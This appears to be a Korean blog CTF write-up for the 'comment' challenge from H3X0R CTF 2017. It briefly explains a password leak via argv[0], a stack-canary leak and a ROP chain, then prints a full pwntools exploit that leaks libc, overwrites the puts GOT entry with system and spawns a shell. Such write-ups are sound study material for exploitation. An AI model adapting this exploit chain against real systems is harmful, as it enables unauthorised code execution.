-
H3X0R CTF commentCTF 2017. 1. 9. 04:20
500점 바이너리인데, 그냥 익스만 엄청나게 귀찮음
argv[0] 포인터를 password주소로 조작해, abort를 일으키면 argv[0]포인터가 password이기때문에 서버의 password를 릭할수있음
그리고 카나리릭은 딱 1024바이트만 입력하는 write 기능에서는 절대 불가능하고 Edit기능에서 오버플로우를 통해 카나리의 앞 \x00(널) 바이트를 채워 puts로 릭을 할 수 있음.
그리고 edit으로 카나리와 RET까지만 덮되 RET는 쉽게 익스하기위해 gets 함수를 호출하는 login함수로 돌림
신나게 ROP
바뀐 바이너리에서 안함 익스하고나니까 업데이트 전 바이너리 ㅁㄴㅇㄹ 그냥 여기서 파일 다운받고 로컬에서 시도 바람 어차피 똑같음
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112from pwn import *# p = remote('52.199.49.117', 10005)p = remote("10.211.55.3",11111)def login(data):print p.recvuntil("Choose :")p.sendline("1")print p.recvuntil("password")p.sendline(data)def write(data):print p.recvuntil("Choose :")p.sendline("2")print p.recvuntil("comment!")p.sendline(data)def edit(data):print p.recvuntil("Choose :")p.sendline("4")print p.recvuntil("comment!")p.sendline(data)def password_leak():password_addr = 0x804A060payload = "A"*1290 + p32(password_addr)login(payload)def view():print p.recvuntil("Choose :")p.sendline("3")# password_leak()# password = "{0h_y0u_s01v3d_5t3p_0n3}"puts_plt = 0x8048500puts_got = 0x804A024pppr = 0x8048A3Cpr = pppr+3bss = 0x804A0A0gets = 0x80484C0password = "{In_Server_Here_is_the_real_password}"# payload = "A"*12login(password + "\x00" + "A"*12)write("A"*1024)edit("A"*1025)edit("B"*1025)view()print p.recvuntil("B"*1024)canary = u32(p.recv(4).replace('\x42','\x00'))log.info("Canary: " + hex(canary))payload = "B"*1024payload += "P"*16edit(payload)for i in range(0,7):edit(payload)payload = "B"*1024payload += p32(canary)payload += "A"*12payload += p32(0x80486C9)edit(payload)p.sendline("")p.sendline("5")payload = "A"*50payload += p32(canary)payload += "A"*12payload += p32(gets)payload += p32(pr)payload += p32(bss)payload += p32(puts_plt)payload += p32(pr)payload += p32(puts_got)payload += p32(gets)payload += p32(pr)payload += p32(puts_got)payload += p32(puts_plt)payload += "AAAA"payload += p32(bss)p.sendline(payload)p.sendline("/bin/sh\x00")print p.recvuntil("password")puts_libc = p.recv(4)puts_libc = u32(p.recv(4))puts_offset = 0x64da0libc_base = puts_libc - puts_offsetlibc_system = libc_base + 0x0003fe70log.info("libc:" + hex(puts_libc))log.info("libc_system:" + hex(libc_system))p.sendline(p32(libc_system))p.interactive()cs 'CTF' 카테고리의 다른 글
HITCON CTF sleepy_holder (0) 2017.01.11 H3X0R CTF train_busan (4) 2017.01.10 H3X0R CTF ezheap (1) 2017.01.08 H3X0R CTF Be rich (0) 2017.01.08 Plaid CTF prodmanager (0) 2017.01.07